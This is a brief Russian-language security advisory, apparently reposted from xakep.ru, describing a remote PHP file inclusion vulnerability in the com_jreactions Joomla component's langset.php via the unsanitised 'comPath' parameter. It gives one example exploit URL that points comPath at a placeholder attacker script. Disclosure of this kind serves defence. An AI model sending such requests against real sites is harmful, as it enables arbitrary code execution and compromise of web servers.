Уязвимость позволяет удаленному пользователю выполнить произвольный PHP сценарий на целевой системе. Уязвимость существует из-за недостаточной обработки входных данных в параметре «comPath» сценарием langset.php. Удаленный пользователь может выполнить произвольный PHP сценарий на целевой системе с привилегиями Web сервера. Пример: _http://www.example.com / administrator/components/ com_jreactions/langset.php?comPath=Evil? original: _http://xakep.ru/post/39824/default.asp
